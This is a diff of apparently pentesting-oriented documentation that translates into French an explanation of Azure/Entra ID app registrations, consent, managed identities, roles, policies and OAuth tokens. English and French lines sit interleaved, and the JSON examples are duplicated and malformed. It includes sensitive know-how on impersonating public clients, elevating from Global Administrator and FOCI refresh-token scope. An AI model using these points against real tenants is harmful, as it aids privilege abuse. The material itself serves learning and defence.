Un **Enregistrement d'application** est une configuration qui permet à une application de s'intégrer avec Entra ID et d'effectuer des actions.
#### Key Components:
#### Composants clés :
1. **Application ID (Client ID):** A unique identifier for your app in Azure AD.
2. **Redirect URIs:** URLs where Azure AD sends authentication responses.
3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions).&#x20;
1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID).
4. **API Permissions:** Specifies what resources or APIs the app can access.
5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect).
6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant.
1. The **service principal** will get all the requested permissions it was configured with.
1. **ID d'application (Client ID)** : Un identifiant unique pour votre application dans Azure AD.
2. **URI de redirection** : URLs où Azure AD envoie les réponses d'authentification.
3. **Certificats, Secrets & Identifiants fédérés** : Il est possible de générer un secret ou un certificat pour se connecter en tant que principal de service de l'application, ou d'accorder un accès fédéré à celle-ci (par exemple, Github Actions).&#x20;
1. Si un **certificat** ou un **secret** est généré, il est possible pour une personne de **se connecter en tant que principal de service** avec des outils CLI en connaissant l'**ID d'application**, le **secret** ou le **certificat** et le **locataire** (domaine ou ID).
4. **Permissions API** : Spécifie quelles ressources ou API l'application peut accéder.
5. **Paramètres d'authentification** : Définit les flux d'authentification pris en charge par l'application (par exemple, OAuth2, OpenID Connect).
6. **Principal de service** : Un principal de service est créé lorsqu'une application est créée (si cela est fait depuis la console web) ou lorsqu'elle est installée dans un nouveau locataire.
1. Le **principal de service** obtiendra toutes les permissions demandées avec lesquelles il a été configuré.
### Default Consent Permissions
### Permissions de consentement par défaut
**User consent for applications**
**Consentement des utilisateurs pour les applications**
- **Do not allow user consent**
- An administrator will be required for all apps.
- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
- All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
- **Default** low impact permissions (although you need to accept to add them as low):
- User.Read - sign in and read user profile
- offline_access - maintain access to data that users have given it access to
- openid - sign users in
- profile - view user's basic profile
- email - view user's email address
- **Allow user consent for apps (Default)**
- All users can consent for any app to access the organization's data.
- **Ne pas autoriser le consentement des utilisateurs**
- Un administrateur sera requis pour toutes les applications.
- **Autoriser le consentement des utilisateurs pour les applications de publishers vérifiés, pour des permissions sélectionnées (Recommandé)**
- Tous les utilisateurs peuvent consentir pour des permissions classées comme "faible impact", pour des applications de publishers vérifiés ou des applications enregistrées dans cette organisation.
- **Permissions par défaut à faible impact** (bien que vous deviez accepter de les ajouter comme faibles) :
- User.Read - se connecter et lire le profil utilisateur
- offline_access - maintenir l'accès aux données auxquelles les utilisateurs ont donné accès
- openid - connecter les utilisateurs
- profile - voir le profil de base de l'utilisateur
- email - voir l'adresse email de l'utilisateur
- **Autoriser le consentement des utilisateurs pour les applications (Par défaut)**
- Tous les utilisateurs peuvent consentir pour toute application d'accéder aux données de l'organisation.
**Admin consent requests**: Default **No**
**Demandes de consentement administratives** : Par défaut **Non**
- Users can request admin consent to apps they are unable to consent to
- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
- Configure also if users will receive email notifications and expiration reminders&#x20;
- Les utilisateurs peuvent demander le consentement administratif pour des applications auxquelles ils ne peuvent pas consentir
- Si **Oui** : Il est possible d'indiquer les utilisateurs, groupes et rôles qui peuvent consentir aux demandes
- Configurez également si les utilisateurs recevront des notifications par email et des rappels d'expiration&#x20;
### **Managed Identity (Metadata)**
### **Identité gérée (Métadonnées)**
Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure.
Les identités gérées dans Azure Active Directory offrent une solution pour **gérer automatiquement l'identité** des applications. Ces identités sont utilisées par les applications dans le but de **se connecter** aux **ressources** compatibles avec l'authentification Azure Active Directory (**Azure AD**). Cela permet de **supprimer le besoin de coder en dur les identifiants cloud** dans le code, car l'application pourra contacter le **service de métadonnées** pour obtenir un jeton valide afin de **réaliser des actions** en tant qu'identité gérée indiquée dans Azure.
There are two types of managed identities:
Il existe deux types d'identités gérées :
- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
- **Assigné au système**. Certains services Azure vous permettent d'**activer une identité gérée directement sur une instance de service**. Lorsque vous activez une identité gérée assignée au système, un **principal de service** est créé dans le locataire Entra ID de confiance par l'abonnement où la ressource est située. Lorsque la **ressource** est **supprimée**, Azure supprime automatiquement **l'identité** pour vous.
- **Assigné par l'utilisateur**. Il est également possible pour les utilisateurs de générer des identités gérées. Celles-ci sont créées à l'intérieur d'un groupe de ressources dans un abonnement et un principal de service sera créé dans l'EntraID de confiance par l'abonnement. Ensuite, vous pouvez assigner l'identité gérée à une ou **plusieurs instances** d'un service Azure (plusieurs ressources). Pour les identités gérées assignées par l'utilisateur, **l'identité est gérée séparément des ressources qui l'utilisent**.
Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
Les identités gérées **ne génèrent pas de credentials éternels** (comme des mots de passe ou des certificats) pour accéder en tant que principal de service qui y est attaché.
### Enterprise Applications
### Applications d'entreprise
It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to.
C'est juste une **table dans Azure pour filtrer les principaux de service** et vérifier les applications qui leur ont été assignées.
**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities.
**Ce n'est pas un autre type d'“application”**, il n'y a aucun objet dans Azure qui soit une “Application d'entreprise”, c'est juste une abstraction pour vérifier les Principaux de service, les Enregistrements d'applications et les identités gérées.
### Administrative Units
### Unités administratives
Administrative units allows to **give permissions from a role over a specific portion of an organization**.
Les unités administratives permettent de **donner des permissions d'un rôle sur une portion spécifique d'une organisation**.
Example:
Exemple :
- Scenario: A company wants regional IT admins to manage only the users in their own region.
- Implementation:
- Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
- Populate AUs with users from their respective regions.
- AUs can **contain users, groups, or devices**
- AUs support **dynamic memberships**
- AUs **cannot contain AUs**
- Assign Admin Roles:
- Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
- Scénario : Une entreprise souhaite que les administrateurs informatiques régionaux gèrent uniquement les utilisateurs de leur propre région.
- Mise en œuvre :
- Créer des unités administratives pour chaque région (par exemple, "AU Amérique du Nord", "AU Europe").
- Peupler les AU avec des utilisateurs de leurs régions respectives.
- Les AU peuvent **contenir des utilisateurs, groupes ou appareils**
- Les AU prennent en charge **les adhésions dynamiques**
- Les AU **ne peuvent pas contenir d'AU**
- Attribuer des rôles administratifs :
- Accorder le rôle "Administrateur des utilisateurs" au personnel informatique régional, limité à l'AU de leur région.
- Résultat : Les administrateurs informatiques régionaux peuvent gérer les comptes utilisateurs au sein de leur région sans affecter d'autres régions.
### Entra ID Roles
### Rôles Entra ID
- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
- Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
- The most privileged role is **Global Administrator**
- In the Description of the role it’s possible to see its **granular permissions**
- Afin de gérer Entra ID, il existe certains **rôles intégrés** qui peuvent être assignés aux principaux Entra ID pour gérer Entra ID
- Vérifiez les rôles sur [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
- Le rôle le plus privilégié est **Administrateur global**
- Dans la description du rôle, il est possible de voir ses **permissions granulaires**
## Roles & Permissions
## Rôles & Permissions
**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)`
**Les rôles** sont **assignés** aux **principaux** sur un **scope** : `principal -[HAS ROLE]->(scope)`
**Roles** assigned to **groups** are **inherited** by all the **members** of the group.
**Les rôles** assignés aux **groupes** sont **hérités** par tous les **membres** du groupe.
Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group.
Selon le scope auquel le rôle a été assigné, le **rôle** peut être **hérité** par **d'autres ressources** à l'intérieur du conteneur de scope. Par exemple, si un utilisateur A a un **rôle sur l'abonnement**, il aura ce **rôle sur tous les groupes de ressources** à l'intérieur de l'abonnement et sur **toutes les ressources** à l'intérieur du groupe de ressources.
### **Classic Roles**
### **Rôles classiques**
| **Owner** | <ul><li>Full access to all resources</li><li>Can manage access for other users</li></ul> | All resource types |
| **Propriétaire** | <ul><li>Accès complet à toutes les ressources</li><li>Peut gérer l'accès pour d'autres utilisateurs</li></ul> | Tous les types de ressources |
| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
| **Contributor** | <ul><li>Full access to all resources</li><li>Cannot manage access</li></ul> | All resource types |
| **Reader** | • View all resources | All resource types |
| **User Access Administrator** | <ul><li>View all resources</li><li>Can manage access for other users</li></ul> | All resource types |
| **Contributeur** | <ul><li>Accès complet à toutes les ressources</li><li>Ne peut pas gérer l'accès</li></ul> | Tous les types de ressources |
| **Lecteur** | • Voir toutes les ressources | Tous les types de ressources |
| **Administrateur d'accès utilisateur** | <ul><li>Voir toutes les ressources</li><li>Peut gérer l'accès pour d'autres utilisateurs</li></ul> | Tous les types de ressources |
### Built-In roles
### Rôles intégrés
[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
[Des docs : ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Le contrôle d'accès basé sur les rôles Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) a plusieurs **rôles intégrés Azure** que vous pouvez **assigner** à **des utilisateurs, groupes, principaux de service et identités gérées**. Les attributions de rôle sont la manière dont vous contrôlez **l'accès aux ressources Azure**. Si les rôles intégrés ne répondent pas aux besoins spécifiques de votre organisation, vous pouvez créer vos propres [**rôles personnalisés Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources:
Les **rôles intégrés** s'appliquent uniquement aux **ressources** pour lesquelles ils sont **destinés**, par exemple, vérifiez ces 2 exemples de **rôles intégrés sur les ressources Compute** :
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
| [Lecteur de sauvegarde de disque](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Fournit la permission au coffre de sauvegarde pour effectuer une sauvegarde de disque. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
| ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
| [Connexion utilisateur de machine virtuelle](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Voir les machines virtuelles dans le portail et se connecter en tant qu'utilisateur régulier. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
Ces rôles peuvent **également être assignés sur des conteneurs logiques** (tels que des groupes de gestion, des abonnements et des groupes de ressources) et les principaux affectés les auront **sur les ressources à l'intérieur de ces conteneurs**.
- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
- Trouvez ici une liste avec [**tous les rôles intégrés Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
- Trouvez ici une liste avec [**tous les rôles intégrés Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
### Custom Roles
### Rôles personnalisés
- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
- It’s possible to configure all the granular permissions the custom role will have
- It’s possible to exclude permissions
- A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
- It’s possible to use wildcards
- The used format is a JSON
- `actions` are for control actions over the resource
- `dataActions` are permissions over the data within the object
Example of permissions JSON for a custom role:
- Il est également possible de créer [**rôles personnalisés**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- Ils sont créés à l'intérieur d'un scope, bien qu'un rôle puisse être dans plusieurs scopes (groupes de gestion, abonnements et groupes de ressources)
- Il est possible de configurer toutes les permissions granulaires que le rôle personnalisé aura
- Il est possible d'exclure des permissions
- Un principal avec une permission exclue ne pourra pas l'utiliser même si la permission est accordée ailleurs
- Il est possible d'utiliser des jokers
- Le format utilisé est un JSON
- `actions` sont pour contrôler les actions sur la ressource
- `dataActions` sont des permissions sur les données à l'intérieur de l'objet
Exemple de JSON de permissions pour un rôle personnalisé :
```json
{
"properties": {
"roleName": "",
"description": "",
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
"permissions": [
{
"actions": [
"Microsoft.DigitalTwins/register/action",
"Microsoft.DigitalTwins/unregister/action",
"Microsoft.DigitalTwins/operations/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
"Microsoft.CostManagement/exports/*"
],
"notActions": [
"Astronomer.Astro/register/action",
"Astronomer.Astro/unregister/action",
"Astronomer.Astro/operations/read",
"Astronomer.Astro/organizations/read"
],
"dataActions": [],
"notDataActions": []
}
]
}
"properties": {
"roleName": "",
"description": "",
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
"permissions": [
{
"actions": [
"Microsoft.DigitalTwins/register/action",
"Microsoft.DigitalTwins/unregister/action",
"Microsoft.DigitalTwins/operations/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
"Microsoft.CostManagement/exports/*"
],
"notActions": [
"Astronomer.Astro/register/action",
"Astronomer.Astro/unregister/action",
"Astronomer.Astro/operations/read",
"Astronomer.Astro/organizations/read"
],
"dataActions": [],
"notDataActions": []
}
]
}
}
```
### Permissions order
- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
- An explicit **deny role assignment takes precedence** over the role granting the permission.
- Afin qu'un **principal ait un accès sur une ressource**, il a besoin d'un rôle explicite qui lui est accordé (de quelque manière que ce soit) **lui accordant cette permission**.
- Une **attribution de rôle de refus explicite a la priorité** sur le rôle accordant la permission.
<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
### Global Administrator
Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
Le Global Administrator est un rôle d'Entra ID qui accorde **un contrôle total sur le locataire Entra ID**. Cependant, il n'accorde par défaut aucune permission sur les ressources Azure.
Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
Les utilisateurs ayant le rôle de Global Administrator ont la capacité de '**s'élever' au rôle d'Administrateur d'Accès Utilisateur Azure dans le Groupe de Gestion Racine**. Ainsi, les Global Administrators peuvent gérer l'accès dans **toutes les souscriptions Azure et groupes de gestion.**\
Cette élévation peut être effectuée en bas de la page : [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
### Azure Policies
**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking.
**Les Azure Policies** sont des règles qui aident les organisations à s'assurer que leurs ressources répondent à des normes spécifiques et à des exigences de conformité. Elles vous permettent de **faire respecter ou d'auditer les paramètres sur les ressources dans Azure**. Par exemple, vous pouvez empêcher la création de machines virtuelles dans une région non autorisée ou vous assurer que toutes les ressources ont des balises spécifiques pour le suivi.
Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources.
Les Azure Policies sont **proactives** : elles peuvent empêcher la création ou la modification de ressources non conformes. Elles sont également **réactives**, vous permettant de trouver et de corriger les ressources non conformes existantes.
#### **Key Concepts**
1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required.
2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group).
3. **Initiatives**: A collection of policies grouped together for broader enforcement.
4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append").
1. **Définition de la politique** : Une règle, écrite en JSON, qui spécifie ce qui est autorisé ou requis.
2. **Attribution de la politique** : L'application d'une politique à un champ spécifique (par exemple, souscription, groupe de ressources).
3. **Initiatives** : Une collection de politiques regroupées pour une application plus large.
4. **Effet** : Spécifie ce qui se passe lorsque la politique est déclenchée (par exemple, "Refuser", "Auditer" ou "Ajouter").
**Some examples:**
**Quelques exemples :**
1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance.
2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments.
3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs.
4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources.
5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network.
6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption.
1. **Assurer la conformité avec des régions Azure spécifiques** : Cette politique garantit que toutes les ressources sont déployées dans des régions Azure spécifiques. Par exemple, une entreprise pourrait vouloir s'assurer que toutes ses données sont stockées en Europe pour la conformité au RGPD.
2. **Faire respecter les normes de nommage** : Les politiques peuvent faire respecter des conventions de nommage pour les ressources Azure. Cela aide à organiser et à identifier facilement les ressources en fonction de leurs noms, ce qui est utile dans de grands environnements.
3. **Restreindre certains types de ressources** : Cette politique peut restreindre la création de certains types de ressources. Par exemple, une politique pourrait être définie pour empêcher la création de types de ressources coûteux, comme certaines tailles de VM, pour contrôler les coûts.
4. **Faire respecter les politiques de balisage** : Les balises sont des paires clé-valeur associées aux ressources Azure utilisées pour la gestion des ressources. Les politiques peuvent faire respecter que certaines balises doivent être présentes, ou avoir des valeurs spécifiques, pour toutes les ressources. Cela est utile pour le suivi des coûts, la propriété ou la catégorisation des ressources.
5. **Limiter l'accès public aux ressources** : Les politiques peuvent faire respecter que certaines ressources, comme les comptes de stockage ou les bases de données, n'ont pas de points de terminaison publics, garantissant qu'elles ne sont accessibles que dans le réseau de l'organisation.
6. **Appliquer automatiquement les paramètres de sécurité** : Les politiques peuvent être utilisées pour appliquer automatiquement des paramètres de sécurité aux ressources, comme appliquer un groupe de sécurité réseau spécifique à toutes les VM ou s'assurer que tous les comptes de stockage utilisent le chiffrement.
Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups.
Azure policy json example:
Notez que les Azure Policies peuvent être attachées à n'importe quel niveau de la hiérarchie Azure, mais elles sont **généralement utilisées dans le groupe de gestion racine** ou dans d'autres groupes de gestion.
Exemple de json de politique Azure :
```json
{
"policyRule": {
"if": {
"field": "location",
"notIn": ["eastus", "westus"]
},
"then": {
"effect": "Deny"
}
},
"parameters": {},
"displayName": "Allow resources only in East US and West US",
"description": "This policy ensures that resources can only be created in East US or West US.",
"mode": "All"
"policyRule": {
"if": {
"field": "location",
"notIn": ["eastus", "westus"]
},
"then": {
"effect": "Deny"
}
},
"parameters": {},
"displayName": "Allow resources only in East US and West US",
"description": "This policy ensures that resources can only be created in East US or West US.",
"mode": "All"
}
```
### Héritage des Permissions
### Permissions Inheritance
Dans Azure, **les permissions peuvent être attribuées à n'importe quelle partie de la hiérarchie**. Cela inclut les groupes de gestion, les abonnements, les groupes de ressources et les ressources individuelles. Les permissions sont **héritées** par les **ressources** contenues de l'entité où elles ont été attribuées.
In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned.
This hierarchical structure allows for efficient and scalable management of access permissions.
Cette structure hiérarchique permet une gestion efficace et évolutive des permissions d'accès.
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
### Azure RBAC vs ABAC
**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\
However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**.
**RBAC** (contrôle d'accès basé sur les rôles) est ce que nous avons déjà vu dans les sections précédentes : **Attribuer un rôle à un principal pour lui accorder l'accès** à une ressource.\
Cependant, dans certains cas, vous pourriez vouloir fournir une **gestion des accès plus granulaire** ou **simplifier** la gestion de **centaines** d'assignations de rôles.
Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\
You **cannot** explicitly **deny** **access** to specific resources **using conditions**.
Azure **ABAC** (contrôle d'accès basé sur les attributs) s'appuie sur Azure RBAC en ajoutant des **conditions d'assignation de rôle basées sur des attributs** dans le contexte d'actions spécifiques. Une _condition d'assignation de rôle_ est un **vérification supplémentaire que vous pouvez optionnellement ajouter à votre assignation de rôle** pour fournir un contrôle d'accès plus granulaire. Une condition filtre les permissions accordées dans le cadre de la définition de rôle et de l'assignation de rôle. Par exemple, vous pouvez **ajouter une condition qui exige qu'un objet ait une étiquette spécifique pour lire l'objet**.\
Vous **ne pouvez pas** explicitement **refuser** l'**accès** à des ressources spécifiques **en utilisant des conditions**.
## References
## Références
- [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
@@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond
- [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
{{#include ../../../banners/hacktricks-training.md}}

192
src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
View File

@@ -4,98 +4,97 @@
## Basic Information
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
Entra ID est la plateforme de gestion des identités et des accès (IAM) basée sur le cloud de Microsoft, servant de système d'authentification et d'autorisation fondamental pour des services comme Microsoft 365 et Azure Resource Manager. Azure AD implémente le cadre d'autorisation OAuth 2.0 et le protocole d'authentification OpenID Connect (OIDC) pour gérer l'accès aux ressources.
### OAuth
**Key Participants in OAuth 2.0:**
**Participants clés dans OAuth 2.0 :**
1. **Resource Server (RS):** Protects resources owned by the resource owner.
2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.
1. **Serveur de ressources (RS) :** Protège les ressources appartenant au propriétaire des ressources.
2. **Propriétaire des ressources (RO) :** Typiquement un utilisateur final qui possède les ressources protégées.
3. **Application cliente (CA) :** Une application cherchant à accéder aux ressources au nom du propriétaire des ressources.
4. **Serveur d'autorisation (AS) :** Délivre des jetons d'accès aux applications clientes après les avoir authentifiées et autorisées.
**Scopes and Consent:**
**Scopes et Consentement :**
- **Scopes:** Granular permissions defined on the resource server that specify access levels.
- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
- **Scopes :** Permissions granulaires définies sur le serveur de ressources qui spécifient les niveaux d'accès.
- **Consentement :** Le processus par lequel un propriétaire de ressources accorde à une application cliente la permission d'accéder aux ressources avec des scopes spécifiques.
**Microsoft 365 Integration:**
**Intégration Microsoft 365 :**
- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
- These applications are deeply integrated and often have interdependent service relationships.
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
- Microsoft 365 utilise Azure AD pour l'IAM et est composé de plusieurs applications OAuth "de première partie".
- Ces applications sont profondément intégrées et ont souvent des relations de service interdépendantes.
- Pour simplifier l'expérience utilisateur et maintenir la fonctionnalité, Microsoft accorde un "consentement implicite" ou un "pré-consentement" à ces applications de première partie.
- **Consentement implicite :** Certaines applications se voient automatiquement **accorder l'accès à des scopes spécifiques sans approbation explicite de l'utilisateur ou de l'administrateur**.
- Ces scopes pré-consentis sont généralement cachés à la fois des utilisateurs et des administrateurs, les rendant moins visibles dans les interfaces de gestion standard.
**Client Application Types:**
**Types d'applications clientes :**
1. **Confidential Clients:**
- Possess their own credentials (e.g., passwords or certificates).
- Can **securely authenticate themselves** to the authorization server.
2. **Public Clients:**
- Do not have unique credentials.
- Cannot securely authenticate to the authorization server.
- **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
1. **Clients confidentiels :**
- Possèdent leurs propres identifiants (par exemple, mots de passe ou certificats).
- Peuvent **s'authentifier de manière sécurisée** auprès du serveur d'autorisation.
2. **Clients publics :**
- N'ont pas d'identifiants uniques.
- Ne peuvent pas s'authentifier de manière sécurisée auprès du serveur d'autorisation.
- **Implication de sécurité :** Un attaquant peut usurper une application cliente publique lors de la demande de jetons, car il n'existe aucun mécanisme pour que le serveur d'autorisation vérifie la légitimité de l'application.
## Authentication Tokens
There are **three types of tokens** used in OIDC:
Il existe **trois types de jetons** utilisés dans OIDC :
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
- A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
- A refresh token is encrypted and only Microsoft can decrypt it.
- Getting a new refresh token doesn't revoke the previous refresh token.
